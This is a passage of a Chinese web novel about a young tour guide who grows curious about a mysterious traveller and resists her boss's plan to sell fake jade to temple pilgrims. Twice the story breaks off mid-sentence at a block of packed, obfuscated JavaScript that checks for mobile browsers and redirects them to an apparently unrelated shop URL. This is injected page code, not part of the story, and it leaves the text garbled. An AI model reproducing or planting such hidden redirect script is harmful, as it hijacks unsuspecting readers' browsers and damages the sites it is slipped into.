水族馆一条直线出去,大巴车早等在前面,邬蔓打电话和饭店确认了一下菜式,拉着一队人去吃午饭。 399的两日游套餐,管一正一早和住宿,可想而知菜品的质量。 订的菜品基本固定,邬蔓不爱吃,提前点了外卖,在大家吃饭时去小隔间享用。 考虑到老板再三叮嘱多加关照沈青鹤,上午他又请了自己坐快艇玩,邬蔓难得没吃独食,给沈青鹤也点了份外卖。 预算有限,两份麻辣烫。 虽然沈青鹤看起来应该吃牛排意面,但邬蔓爱吃麻辣烫。 她懒得再给沈青鹤选别的,报着爱吃不吃的心态默默观察他脸色。 表情挺平静,不像邬蔓想象中的挑三拣四,他学着邬蔓的样子用小风扇吹风降温,拆开外卖安安静静地优雅吃粉,一副很好养活的样子。 邬蔓在心里偷偷笑。 倒不是沈青鹤逗邬蔓,她就是…… 就是看着他吃麻辣烫感觉反差太大,有种欺负老实人的幽默感。 / 廉价旅游团的优点是便宜,缺点是非常累。 在景点之间挨个打卡,走马观花般匆匆路过,上午的海边漫步时间算松散的,下午行程几乎被排满。 水族馆之后众人又去昌口老街打卡,和城市标志建筑合影,晚餐在昌宁市最大的夜市解决,第一天把宣传行程逛了个七七八八,晚上九点,大巴车开到合作酒店。 说是酒店,其实就是高级一点的旅馆,老板谈下来的价格是一人五十,男女区别开性别混住,两人住一间房。 进酒店前,邬蔓喊沈青鹤去隐秘处说话。 夜风凉爽,气温不似白天那么高,邬蔓累了一天了,听着树叶沙沙声有种如释重负的轻松感。 她这周排到周一休息,很幸福,白天全靠这么点信念坚持下来。 精神气松弛会体现在身体上,邬蔓懒洋洋靠着树干,手指有一下没一下摩挲着硬硬的手机链,尾音里带着哑,像猫咪倦怠时的咕咕噜噜声。 “你是不是没法提供身份证?” 沈青鹤不太意外邬蔓能看出来,诚实笑笑,只不过那笑容里多少有几分无奈和歉意,“确实没带身份证。” 没带? 邬蔓挑眉,她看未必是没带。 “那你等一会,我问问老板怎么办。” 就知道二百元提成没这么好拿,死老板收那么多钱转头就把烫手山芋丢给自己了。 沈青鹤从一早上的临时上车,没买保险,到后来的没有电话卡,手机断网等等,这一切都透露出几分不同寻常。 邬蔓看得分明,所以后来有刻意保持一点距离。 沈青鹤没催邬蔓,对于自己没有身份证过不了酒店验证那关似乎并不关心,视线落入漆黑的夜景,目光悠远平静。 钴色路灯将人融入夜景,白日温和的棱角里好像沾染上淡淡的寂寥感。 夏蝉鸣鸣,草丛里隐约可见微弱的暖黄色光点。 是萤火虫,这代表昌宁空气质量不错。 老板被邬蔓质问没生气,淡淡笑了,声音隔着听筒传来,那头有人在打 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她实在是没精力在酒店里瞎晃悠,刷开房间门逼着自己换上一次性四件套,把衣服脱了个精光,打开空调瘫在床上。 林知夏掐着点打进来视频通话。 邬蔓空调温度开的低,用被子裹住自己接通视频。 林知夏的脸闯进屏幕,她是常年熬鹰选手,越夜越精神,看见邬蔓立马贼嘻嘻眯起眼。 “哎呀呀,非礼勿视啊。” 邬蔓无语闺蜜的关注点,把白被子拉高了点,盖住雪白的浅沟。 林知夏嘿嘿笑两声,对着镜头得意洋洋地展示她的超绝双蛋火鸡面。 “酱酱酱酱!粉丝先吃~” 邬蔓有气无力道:“粉丝不吃了,主播吃吧。” 林知夏喝了口汽水,“今天这么累啊?” 邬蔓:“你都不知道,就白天我跟你说的那个帅哥,他这人有点不对劲。” 林知夏嗷呜一口咬掉一半煎蛋,“怎么个不对劲法呢?” 邬蔓怕隔壁听见,压低声音,“刚开始我还没留意,他一直只用现金,虽然有点奇怪我也没多想,但是后来我发现他连电话卡都没有,不过他有手机。” “啊?那他怎么玩手机啊?” “连我的热点。” “等会,重点不是这个吧,是和身份证名相关的东西他都没有。” 邬蔓神秘兮兮地说,“你说他是不是很奇怪。” 林知夏迟疑道:“你这样一说……是很奇怪啊,他不会是什么杀人犯抢劫犯什么的吧?” 林知夏最近视频刷的多,突然惊呼一声,“也没准是敌特,举报了有奖金的!” 邬蔓扶额,“那不至于,他肯定是中国人。” “报警还是算了,我怕又招惹什么麻烦,反正明天结束这人也就消失了,和我没什么关系。” 林知夏哦哦两声,又按耐不住好奇,“到底长什么样啊,给我拍没有呀?” 邬蔓无情拒绝,“太社死,臣妾做不到。” 林知夏在对面哼哼唧唧撒娇,邬蔓伸手翻着相册,“但是可以给你看一眼大合影。” 【图片.jpg】 “我去,是有点东西啊,你没p吧?看着有点像明星!” 照片里邬蔓在中心位,因为身高,沈青鹤站最后排的角落。 得上天偏爱的样貌硬生生在照片边缘也发光发热,让人视线不受控制往他脸上瞥,彻底无视掉拍照的站位。 “我收回我说的话。”林知夏瞪大眼睛,“他肯定是好人。” 邬蔓噗嗤乐了,“喂喂,能不能别颜值即正义啊。” 林知夏理直气壮,“就是颜值即正义,你看你,你再看我,工作之后哪见过帅哥啊,你身边全是老头,我身边全是宝爸,这样下去猴年马月才能脱单。” 邬蔓对谈恋爱不感兴趣,“哪有时间谈恋爱,搞钱最重要。” 林知夏幽幽开口,“关键搞钱也搞不到哇,难道靠你的四千多我的三千多吗……” 邬蔓:“真扎心了。” 工作三年,邬蔓省吃俭用攒下来了四万元,数额不多,只要离个职gap一段时间就又要变得一穷二白。 但她真的很想离职。 邬蔓叹了口气,“夏夏,工作太痛苦了,人到底为什么要工作,我想出去玩。” 林知夏也跟着叹气。 “不知道啊,我也不想工作,我想开面包店。” “老板这次太过分了。” 邬蔓说不上来为什么,今天她想离职的心格外蠢蠢欲动。 之前还觉得可以忍受混在老人堆里的日子,但突然来了个同龄人,好像死去的心脏又重新复苏,突然想换一种活法。 林知夏习惯了自己闺蜜动不动想离职,没太放在心上,“好了好了别想了,你早点睡觉吧,明天还要早起。” “嗯,晚安。” “晚安。” 互道完晚安,邬蔓没有睡觉,平时沾枕头就着的她有些失眠。 在心里盘算着离职后的生活,心跳越来越快,想象太美好,邬蔓开心地在床上打了个滚。 只不过继续往下设想离职后的开销,东算西算,怎么算都不够。 良久,屋内又传来一声重重的叹息。 4. 好人卡 说是两日游,实际上还要算上路程往返的时间。 第二天早上九点出发,下午五点就要回津川,时间有限,参观了昌宁博物馆和海洋雕塑主题公园之后最后一站照例去土特产商店。 逛了一圈,大家多多少少买了点便宜的小物件作为纪念,这一趟出游也算是圆满结束。 / 邬蔓拎着在楼下超市买的菜,从包里翻找钥匙。 门钥匙上挂着个侦探玲娜贝儿,是林知夏送邬蔓的生日礼物,邬蔓怕掉哪里没声音把玩偶弄丢,自己又给配了条暹罗猫主题的铃铛链,平时带出门叮叮当当地响。 一次性买菜买的太多,快递盒邬蔓又不想放在门口地上,因为隔壁最近在装修楼道里灰尘大,她家门口前都落了不少土。索性把快递夹胳肢窝,翘起右手对准锁眼开门。 独居女性的标配技能,单脚关门。 砰的一声,门被紧紧甩上,与此同时邬蔓把拎的抱的夹的东西一股脑堆放在地垫上,趿拉着她的兔子拖鞋仰躺进单人沙发里,手在沙发侧边掏出一瓶可乐,咕噜咕噜大灌几口,终于活了过来。 邬蔓租的房子是个小一室,房子面积不大三十多平,但剩在格局好,尽管面积小也能区分出来卧室和客厅。 房子装修总体来讲是极简风,简简单单刷了大白墙,标配基础的厨房和卫生间,实在算不上多好,不过室内仅有的衣柜和桌子都是米白色,比较百搭。 邬蔓的运气全点在找房子上,比起同等价位住进老旧装修或者乱七八糟格局的房间,邬蔓对自己租的小家特别满意。 要说唯一的缺点,就是没有晾晒衣服的空间。 不过这也很好解决,邬蔓买了个折叠衣架,晾在卧室窗边,不需要晒衣服时就收起来。 人在沙发上瘫了约莫半小时,终于有了动作。 脏衣篓就放在沙发旁边,邬蔓换上睡衣,抱着脏衣篓把里面攒的脏衣服倒洗衣机里洗上,又去开窗通风。 刚毕业那年邬蔓基本不自己做饭,工作太累,每天回家只想玩会手机睡觉,她顶多泡个面或者焖饭吃点拌饭酱,真要休息日兴致来了做菜也都是入门级的可乐鸡翅番茄炒蛋这类傻瓜菜式。 只不过这样的生活节奏身体第二年就亮起红灯,医院来来回回跑了不少趟也没什么改善,最后被同事推荐了个中医馆,死马当活马医,喝了几副中药下去身体才慢慢好起来。 邬蔓印象特别深刻,头发花白的老中医把她的脉时,眉头紧锁,写药方反复斟酌,别人十分钟看诊完,她足足用了半小时。 总结起来就是,心肝脾肾胃,愣是挑不出一个好器官。 中药喝多了对肝脏负担大,邬蔓断药后就开始注重饮食,吃外卖不像以前那么狠了。 只是她的厨艺…… 邬蔓看着手机上的教程。 超市排骨打折,邬蔓买了点打算做菠萝排骨,只不过没看见卖菠萝的,家里有苹果,她灵机一动加了点苹果和白醋。 应该、大概也许没什么区别吧? 锅里汤汁咕咚咕咚沸腾,酱汁浓郁的气泡争先恐后翻滚破裂,炸开浓郁的酱肉味。 等排骨炖烂收汁的功夫,邬蔓冲了冲手指去拆快递。 她这段时间沉迷看多肉直播,拔多肉枯叶的视听效果特别解压,忘了哪天深夜脑子一热下单了一小盒多肉。 和熊猫瓷盆一起发来,是朵肥嘟嘟蜜桃粉的莲花形多肉。 挺生机勃勃的。 邬蔓跟着教程检查了一遍,多肉没什么问题,手指小心拿着多肉把根系上的旧土抖掉,修剪完多肉根部后把它泡到卖家给的消毒水里。 汤汁沸腾声听着变急促,邬蔓洗完手翻炒了几下排骨,褐色汤汁逐渐挂在肉上,变得晶莹诱人。 这要归功于邬蔓炒的糖色。 当时闻味道像是有点炒糊了,没想到最后成效还挺不错。 邬蔓夹起一块尝了尝。 肉刚咬进嘴里,动作就顿住。 良久,她沉默的干巴巴地嚼着嘴里的排骨肉。 本应该软烂的排骨肉变得异常Q弹,肉表面齁甜,里面越吃越没味,嚼到最后只能尝到淡淡的糊味。 里面的苹果就更不用说了,软趴趴黏在盘子里,邬蔓尝都不想尝。 这猪算是白死了。 硬着头皮解决完晚饭,煮的排骨剩下一大半。 扔是不可能扔的,留到明天热着吃。 吃饱喝足,冲了个澡把手机开勿扰模式,彻底陷入睡眠。 等邬蔓再次醒来,已经是下午三点多。 单休就像没休一样,时间过得飞快,人身体还是累的,脑子也很麻木。 剩下的时间邬蔓没出门,瘫在床上吃零食玩手机,吃过晚饭后简单收拾了遍屋子,晚上报复性熬夜玩手机,才一点多就已经坚持不住,上下眼皮打架,昏昏沉沉睡了过去。 / 邬蔓家离旅行社办公室步行大概十几分钟的路程,旧办公楼有二十几层,楼下设了很多共享电车的停车点。 交通挺便利,楼里面情况很糟糕。 电梯陈旧,人也多,偶尔有一台出故障人得在下面等半小时才能挤上去。 这栋大楼租金低,中小企业扎堆,邬蔓拎着便利店买的包子路过三流律师事务所、私人牙医诊所和美甲店后,终于到了她们旅行社。 工作日上班时间倒没那么严格,旅行社没有打卡机,虽然邬蔓严重怀疑是因为老板太抠了所以一直没买,但间接性也算方便了她们。 邬蔓今天第一个到,伸手摸了摸门框顶上,摸出来一把钥匙开门。 她叼着热腾腾的包子打开电脑,挂上账号开始回复客资。 老板在群里发消息问有人到办公室没。 邬蔓回了个1。 私聊界面老板一连甩过来好几张图片,是旅行社宣传的行程图以及详情页。 【你把图片传上去,还有文字。】 邬蔓点开图片,是临省小有名气的普华山,海报版头镀金佛像神情慈悲,木色系海报背景里写了几句附庸风雅的文案,红底黄字惊爆价条幅牢牢盖住佛像下的山丘,让邬蔓想到西游记里被紧箍咒束缚的孙悟空,好像佛像也失去了自由。 说不上来哪里不舒服,这张海报她看了反正不会报名。 邬蔓按照老板发的资料上传宣传图,神游思考着怎么突然开始有省外业务了? 不知道普华山要谁带团,目前三个员工都有固定团。 另外两个同事陆续到了办公室,三人闲聊几句,进入工作状态。 邬蔓敲键盘回复咨询的人,应该是年龄太大了搞不明白手机,邬蔓这边发过去的流程对面确认的特别慢,来来回回反复问她,很简单的操作一直从上午弄到中午都没完事。 她终于忍不住想打通电话过去时门口传来动静,抬头一看,是老板来了。 他身后跟着两个男人,其中有一个邬蔓见过,是津川国旅的老板,姓秦。 三人进来坐室内唯一的沙发上,邬蔓老板烧热水泡茶,又给秦老板和陌生男人递烟。 “普华山这条线不少挣。” 陌生男人开口,说完观察秦老板神色,秦老板点点头,陌生男人继续说,“老梁,我找你合作是咱们都是朋友,互相人品信得过。” “沈琪那犊子拿着我客源和别人合作压价,我倒要看看到底谁能卷走谁。” 梁老板点燃烟,手指缝里夹着那抹猩红,他没抽,看着它烧了会抖抖烟灰。 “沈琪这人是不太地道。” 三人都是人精,看出来邬蔓老板没正面回答是否合作。 秦老板砸吧口烟,吐出白雾,“老梁,我们不和你藏着掖着,普华山挣钱路子和别处不一样,没人引荐一般人挣不了这份钱。” 陌生男人补充道:“我们有货源。利润46分,我拿4成,把沈琪这小子给我干破产。” 邬蔓有一耳朵没一耳朵的听着,没太听懂这三人在打什么哑谜。 中午饭点正好到了,她嫌屋里烟味呛人,和同事结伴下楼去吃饭。 再回来,那俩人走了,老板留在办公室。 他把邬蔓叫到办公桌前,笑眯眯开口,“小邬也来我这干三年了。” “我最近打算开个普华山的团,你带,正好给你涨涨工资。” 邬蔓没吭声,本能感觉老板应该没那么好心。 果然,他下一秒继续说,“小邬你什么都好,就是这个推销能力吧,差了点,但谁让我和你合财呢。” 邬蔓是梁老板第一个员工,三年来员工来来走走,虽然脑子轴了点,但还属她最好拿捏,况且邬蔓身上那股生涩学生气,有时不主动反而会更有效果。 再加上…… 梁老板眯了眯眼,前几天那个有钱人指名要去邬蔓带的团,没准普华山这条线路还真能让邬蔓带起来。 邬蔓以为老板又要说卖海鲜饼的事,开口辩解,“老板那个海鲜饼真的卖不出去,咱们卖的价格比外面贵,游客们本身就防着导游推销……” 老板打断邬蔓说话,“这次不是卖海鲜饼,咱们卖外面没有的东西。” 手机叮咚直响,在邬蔓掌心里震动。老板给她发来很多图片。 “这回每卖出去一万,我给你一百元提成。” 邬蔓低头看着手机里的玉制摆件,开光的项链手串手镯等,有些犹豫开口,“我不懂这个……” “哎,怎么总唠外行话。”老板不太赞同邬蔓的觉悟,“到时候话术我转你,你背一背挑选着套用,去普华山的人都被宰惯了,随随便便就能卖出去。” 邬蔓想了想还是想拒绝,“这些东西太贵重了,我怕出意外,还是带我原来的团吧。” 老板被邬蔓小心翼翼的样子逗笑,“小邬啊,你摔十个八个都没事,成本没几个钱,主要看你怎么忽悠。” “你们这些读了大学出来的就是跳不出书呆子思维,别这么紧张。” 邬蔓没说话。 她垂眸看手机里的照片,上面最便宜的标价是3000。 邬蔓咬紧嘴唇,心里厌恶极了老板动不动读了大学就怎样的句式。 时间仿佛在沉默里过了很久,实际上不到一分钟。 邬蔓感觉自己像溺水的飞鸟,呼吸困难,也挥不动灌满水的翅膀。 但她还是不甘心就这样屈服。 在同事哒哒哒的键盘声里,邬蔓小声道:“可这样是骗人。” 这和推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525804|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 销海鲜饼的性质完全不一样。 老板听见了这句嘀咕,但装没听见。 心里嘲笑邬蔓读书读傻了,面上笑得更加温和。 “你回去好好想想,卖出去就有提成挣,明天给我答复。” 和老板共事三年,邬蔓大致了解他的脾气。 面善心冷,看似一切好商量,实际上必须所有事都如他规划的进行。 邬蔓每次和他说话都头皮发麻,总有种一拳头打棉花上的无力感,拒绝一次已经耗费她今天所有心神。 真的很难鼓气再次拒绝。 她灰溜溜回到工位,剩下半天时间人早已魂游在外,对着手机里那些照片发呆。 邬蔓不懂玉,但有购买需求的人应该懂吧,真的会上当受骗吗? 图片发给林知夏,闺蜜俩大眼瞪小眼,谁都看不出值多少钱,只觉得图片拍的挺唬人,看上去价格不菲。 她前任家境倒是不错…… 想到这,邬蔓使劲摇摇头。 天知道她中了什么邪,居然想到死渣男头上了。 邬蔓赶紧去厕所洗了把脸清醒清醒。 这一清醒,还真让她想到了个人。 沈青鹤。 邬蔓打开微信,看着自己小号粉嫩的卡通双马尾少女头像,心里没底。 头像都没换,百分之九十可能性联系不上他。 管他呢。 邬蔓想,生活够烦的了,当和自己小号宣泄了。 抱有百分之十回复可能性的期待,邬蔓把价格截掉,一股脑打包转给自己小号。 【打扰了,麻烦问一下,这些玉你看值钱吗?】 等了几分钟,对面没回复。 邬蔓在心里骂自己傻,赶紧把聊天记录删掉,被人看见她自言自语怕不是要以为她是神经病。 叮咚—— 沈青鹤:【应该不值钱。】 邬蔓揉了揉眼睛,立马回复,【你买电话卡了?】 沈青鹤:【没买,我连了商场的WiFi。你是要买玉吗?】 邬蔓后知后觉尴尬道:【我不买,只是好奇,单纯问问。】 聊天框陷入沉默,邬蔓职业病犯了,继续敲字。 “我这个小号不用,你要是不方便可以……” 字打一半,被邬蔓挨个删掉。 多一事不如少一事,万一沈青鹤是坏人,那她岂不成了帮凶,没准哪天就要被警察叔叔叫局子里去。 想到这里,邬蔓开始后悔自己开了这个头。 好奇心害死猫,这些玉看起来值不值钱和她有什么关系。 上面的对方正在输入中突然消失,沈青鹤盯着邬蔓的黛玉上班头像看了会,最终还是打字发过去。 【这些玉价格应该在几十到几百元价格不等,有些算不上是玉,长期接触对身体不好。】 邬蔓没想到这么严重,她以为老板只是骗骗钱而已。 知道会危害人身体健康,邬蔓更不愿意去带这个团。 她真诚道谢,【谢谢你。】 沈青鹤刚要回复,聊天框里又弹出一条消息。 【你一定是个好人!!!】 很少能见到有人这样直白的发好人卡,沈青鹤甚至能想到她说这句话的语气和样子,又想到前天邬蔓在旅途中警惕他的模样,沈青鹤无意识勾起唇角。 【嗯,我努力做个好人。】 这句话传达的信息太多了,直接给邬蔓同学吓退场。 并将聊天记录打包发给林知夏。 闺蜜俩又是一番痛骂老板加上猜测沈青鹤的身份。 努力做个好人的潜台词就是,现在还不是好人。 最终俩人达成一致观点——沈青鹤或许是个经济犯。 这样出众斯文的气质样貌就说得通了。 邬蔓是做好和老板抗争到底的准备的,但她没想到老板能这么无赖,直接玩消失。 连着蹲三天点,邬蔓愣是没看见老板人影。 微信私聊他的消息他没回复,只在群里回复工作相关的事宜。 周五晚上,老板的消息姗姗来迟,说这周太忙没时间看邬蔓消息,让邬蔓先顶上去带普华山的团,省外四日游,回来给邬蔓放三天假。 也就是放到下周五晚上。 “小邬我还是很重视你的……” 邬蔓赶紧把语音暂停转文字,后面老板没发重要信息,一个劲画饼,邬蔓不想听。 她只回了句,我不保证我能推销出去产品。 老板依旧很执着让她带团。 邬蔓想,她只带人游玩,不推销产品。省外坐高铁去比大巴车舒服多了,回来还有三天假期,又是去新景点,怎么想怎么合适。 所以当邬蔓在集合点再次看到那道青竹般笔直水灵的身影时,第一反应就是,沈青鹤怎么在这? 他穿着宽松的白色薄衫,衣摆鼓风,远远望见邬蔓,弯起唇,眼里仿佛漾起一层温润水波。 邬蔓因这笑容可耻地晃神三秒钟,目光局促地躲开。 完了,现在她成坏人了。 倒卖黑心玉器的奸商,还是明知故犯的那种。 早知道就不问沈青鹤了。 邬蔓懊恼的想。 5. 平安符 是巧合吗? 邬蔓不太确定。 上一次和同龄男生打交道,还是在邬蔓读大学的时候,缺乏样本数据,她实在揣测不出沈青鹤的心思。 出于女人的第六感,又感觉他好像不是单纯出来的玩的。 这种未知感像心脏被人凭空揪起一小块缓慢收紧,血液和呼吸变得不畅通,以至于手脚发麻,摇摇欲坠。 这些事已经够费脑细胞,工作的事更令人烦心,邬蔓没忘自己拿着那些产品图去问沈青鹤,他一眼就看得出来玉的品质,也不知道其他人是不是像他一样…… 况且就算别人看不出来,沈青鹤也知道,不管戳破与否都太尴尬。 虽然并不打算卖那些玉,可她确确实实带了这个团,说出去应该没人会信。 邬蔓找到自己的座位,中间通道陆续有人上车,她扭头看着窗外,想着乱七八糟的事丧失沟通欲望。 原本也不用她多说什么,合作的旅行社派了一名看起来更专业的导游过来,不知道是教学还是盯梢,邬蔓在团里的意义倒变得不大了。 她现在心里有点乱,高铁准时发车,邬蔓对着窗外闪过的景色发呆。 沈青鹤座位在邬蔓斜后面,视线自然落在这个唯一还算熟悉的人身上。 女孩正歪着脑袋,额头轻轻抵住车窗,呼吸逸散,化为一圈湿漉漉的白汽。窗外绿色被横向拉伸,车窗不断定格取景,又呼啸而过。 邬蔓像支失水蔫掉的向日葵,软绵绵栽在无边际的绿意里。 沈青鹤忽然想起,他第一次看见邬蔓,是个晴朗有风的清晨。 没有人猜到他会回国,连他本人都不知道自己要去哪里。 那场车祸父母意外离世,只活下他一人,本就不合的兄弟关系更是雪上加霜。 沈青鹤小时候身体不好,他是家中幼子,父母格外疼爱珍视。大费周章托人回国内苦寻名僧,全家上下吃斋一年积攒功德,大师给他改了名,取鹤字,意为长寿的祝愿。 午夜梦回,沈青鹤时常深想,是不是自己夺了父母的福报…… 他像流浪的浮萍,亲人已逝,再无归处。 沈青鹤飘飘荡荡流浪许久,路上行人大多匆匆,苇杆般笔直的人影不断闪回,闲暇时他却回忆不起任何一张脸。 麻木好像成了人生常态。 直到那天,有道匆匆的身影突然停下、弯折,弯成一处最特别的柔软。 女孩路过一处草坪又折返回去,她叼着一串丸子,似乎说了句什么,距离太远,沈鹤看不真切。 但能看到她把手里的关东煮放在干净地面,单手拎起牛仔裙,宽大裙摆被她折在膝盖窝,在堪堪露出一截雪白的小腿时干脆利落地蹲了下去。 伸手轻轻扶正因别人抄近路踩歪的嫩绿草丛,经由她手,像施展了不知名魔法,草叶被阳光照成透明的翡翠。 不是道貌岸然者作秀,也没人冲出来报道夸奖,再平常不过的一个清晨,她随意拍拍手里的灰,拎着关东煮快步走了。 女孩步伐格外轻盈,蓝裙摆像朵抖开的硬牵牛花,金色光斑漏在裙摆的每个折褶里,风一吹,裙摆纷飞,露出一双棕色的夏靴。 干净的蓝和深邃的棕。 是沈青鹤对邬蔓的第一印象。 在这个所有人都被命运裹挟着往前再往前,行尸走肉般生活的世界里,邬蔓是一抹逆流的色彩。 和行色匆匆,灰朴朴的人不一样,她是鲜活的。 像日漫里挥舞魔法棒拯救世界的美少女,喊着什么热爱啊美好啊就冲上去,把反派Boss感化消灭。 沈青鹤突然很想和她同行一段路。 他有预感,那也许会很有趣。 / 邬蔓之前从未去过寺院。 下高铁后,先坐上来专门接客的大巴车,盘山公路蜿蜒曲折,进山后,气温骤降,蓝天零星从遮天蔽日的暗绿里漏下丝状的光,满天蒙雾,乳白色的雾沉重地挤满空间,潮湿的草木气味扑鼻,像松针草药又像湿润的泥土。 开至山腰,众人换乘缆车。 这时空气里隐约可以闻到混合香火气息。 邬蔓在缆车上放眼望去,连绵的古朴殿宇隐匿在群山之中,青石台阶上香客熙熙攘攘,人生鼎沸,盖过深山中的鸟叫和虫鸣。 本是不信神佛的人,现在竟也有了几分随波逐流的虔诚。 跟着香客迈入山门,铜绿牌坊上锈刻着“普华山”三个大字,字体古朴苍劲,牌坊之上,古树参天,盘根错节的树枝比手臂还要粗大,无端让人深觉自己非常渺小。 烦心事被全数抛在脑后,邬蔓踩着青石台阶继续向上——香客太多,砖缝里的草和苔藓被人踩得异常光滑,只余下一点冷绿嵌在石缝里。 袅袅青烟里依稀可见红墙黄瓦,僧人成排路过,赭黄僧袍被风吹起一角,风铎在檐角荡开,发出簌簌清脆的声响。 香炉前人头攒动,邬蔓闻着有些头晕,恍惚跟着人流排队去殿内上香。 黄色经幡浮动,邬蔓看着眼前巨大的拈花佛像,它低垂眉眼,似笑非笑。 佛渡众生,无限慈悲。 身边人俯身叩拜,香烟缭绕,众人皆有所求,邬蔓在这一片烟雾里愣住。 她突然不知道求什么。 旅客都有目的而来,这趟普华山之旅是她意料之外,她毫无准备,真见了庄严的佛像之后,忽然一脑子空白。 之前烦恼的事提起,会觉得亵渎了神佛。 她直直站着,和这里格格不入。僧人走上前提醒。 邬蔓重新叩拜,心中茫然,像执行任务一般点三支香,双手交叠,从胸口举直额前,像模像样地把香插进香炉。 到最后也不知道上香时自己想的是什么。 走出大殿,深深呼出一口气。 佛像慈悲却也肃穆,在内殿待久了邬蔓感觉有点压抑。 视线没落点地朝外看,刚迈出殿门就看见沈青鹤立在古树下,身影被吞没在树荫里,和周围人形成一道无形的屏障,发梢被风吹动,像柔软细碎的柳絮。 邬蔓生出点交谈的欲望,走过去,“你不去拜拜吗?” 很少见有人特意来了寺院不去上香拜佛的,一行人里就沈青鹤一个站在外面等。 他转头,白皙的脸上挂起浅笑,眉眼弯弯,一贯的好脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没勇气继续对视下去,看习惯了老头,对着沈青鹤男狐狸精一般的脸,让她说话都不知道怎么说了。 女孩动作幅度过大,吸引来几个路人好奇看向这边。 沈青鹤有些不明所以,他盯着邬蔓甩飞起来的马尾,因山里空气湿,乱发丝和水汽沾在脖颈,衬得那处脖颈更白。 白里透红,鬓角乌黑的发乖巧趴在粉红的耳朵后面,翘起一小撮明亮的发丝。 邬蔓思绪像哗啦啦不停翻动的书页,她试图从中捋出个方向,刚要有头绪,一阵风卷起落叶,她的想法也跟着那些落叶飘忽不定。 “呃,他们好像出来了,我过去看看……” 邬蔓撂下一句话,噔噔噔跑走了。 逃避很可耻,但超管用! 邬蔓拍拍滚烫的脸颊,跑出八百米冲刺的速度。 现在不流行内耗,动脑子这种事就交给一小时后的她吧。 6. 马尾辫 普华山上殿宇众多,游览一圈不算上香的时间也要三小时。 主殿上过香后,一行人随着人群去往各处祈福。 导游在最队伍前方讲解各路菩萨所掌方向,祈福参拜的礼仪,邬蔓和沈青鹤俩人走在队伍后面,不远不近地跟着。 这次团费定价很高,以此来筛选目标客户,团里人不多,只有十六人,占全男女老少,个个神情虔诚。 寺院里人头攒动,人们从前一个殿内出来,立刻赶往下一个大殿。有人求平安健康,有人求学业好运,还有人天还未亮时就步行上山,为求财。 香烟浓郁,掩盖住人的贪欲。 邬蔓游离在这些欲望之外看的分明,不管最开始是为什么来,真到了普华山上,大家都会挨个拜过各路菩萨,谁都期望菩萨显灵,所有好事降临在自己身上。 心里那点诚心分了再分,很难定义到底是恭敬还是敷衍。 邬蔓再怎么说也是导游之一,虽然心里对这样走马观花的参拜形式并不赞同,还是跟着大家进去挨个拜了拜。 其实带着点逃避的心理,因为她现在还有点不知道怎么面对沈青鹤。 下午吃过斋饭,按流程有僧人过来引大家去宝殿听僧众诵经。 密密麻麻的梵音并不入耳,它像潮水般涌来,再从头顶灌下直直砸在心里。 邬蔓感觉胸腔里升起一股无形的暖流,顺着经络血脉,攀进眼底。 听着听着,邬蔓脸上一凉。 她有点疑惑的去摸,指尖沾上湿湿的水。 视线里一只漂亮的手伸过来,暖玉般白润修长的指间夹着纸巾。 邬蔓转头,看见沈青鹤跪坐蒲团上静静平视着前方,脸庞轮廓分明,殿内昏光更显的男人肩线宽阔明朗,因左手擎着,衣料被崩紧,隐隐透出劲瘦有力的腰身。 他没看她,让邬蔓松了口气。 擦掉泪水,这么一打岔,邬蔓再难进入状态,闲的无聊观察起殿里的人。 大家听得认真,木鱼声诵经声噌噌吰吰,视线转了一圈,又回到沈青鹤脸上。 不知是否有熟人buff加成,邬蔓总觉得沈青鹤和其他游客不太一样。 她在他眼里看不出外显的欲望,眼神和气质一样清淡温暖。 邬蔓默默在心里把“经济犯”的标签划掉。 经济犯怎么可能不求财? / 四日游的前两天算是清修,第三天,邬蔓担心的事终于发生了。 旅游群里老板发来比上次更全更更高级的实拍图片,另一位导游在群里大肆宣传摆件和手串如何灵验又有什么功效。 同一个摆件既管身体健康,又管升官发财,也不是没人提出疑问。只是最后都能被圆回去,话术是提前编辑好的,有问有答,整个销售链特别商业化。 这些感兴趣的游客里,他们会挑选可能上钩的人单独展示实物。 经过两天相处,邬蔓实在不忍心亲眼看着他们上当受骗。 这些人里有公务员面试落榜打算二战的考生,还有孙女身体不好来求平安的奶奶,明年高考,带着孩子祈福的一家三口…… 邬蔓能理解现在社会压力大,大家承受不住压力短暂的自我逃避,这大概也是近几年寺庙香火茂盛的原因。 邬蔓并非圣母,玉器本身价格就很难精准衡量,维权更是艰难。这些人要是因为自己上当受骗,她心实在难安。 天色像是能感知邬蔓的心情,逐渐转阴,山里原本就清凉,现在更是从脚底返上一阵阵寒意。 邬蔓来之前看过天气预报,带了衣物,但显然低估了山林间的温度,黄色薄针织衫套在身上还是冷,她拉紧开衫领口,独自走出去。 游客们在屋里抄录佛经祈福,没人留意邬蔓,木门吱呀一声推开又关上,隔绝掉外面的寒气。 沈青鹤从短暂开关门的时间里抬起眼皮朝外扫了眼。 过了十分钟左右不见邬蔓回来,他搁下笔,也起身出去了。 山里湿湿的风吹走身体的温度,邬蔓走出十几步时,手脚就已经变得冰凉。 湿味松针味草泥味黏在鼻尖上不肯散开,她抽出纸擦鼻子,鼻腔变闷,这令她更难呼吸。 邬蔓有点想不好该怎么办。 买卖不由她控制,她现在都有点怀疑老板这次派她过来是个驯化的过程。 一旦底线摇摆,她就和他们捆绑,再也没法挣脱。 群里消息还在发个不停,邬蔓烦躁看着,在心里吐槽抄经祈福还这么不用心,她若是菩萨恐怕也不会保佑。 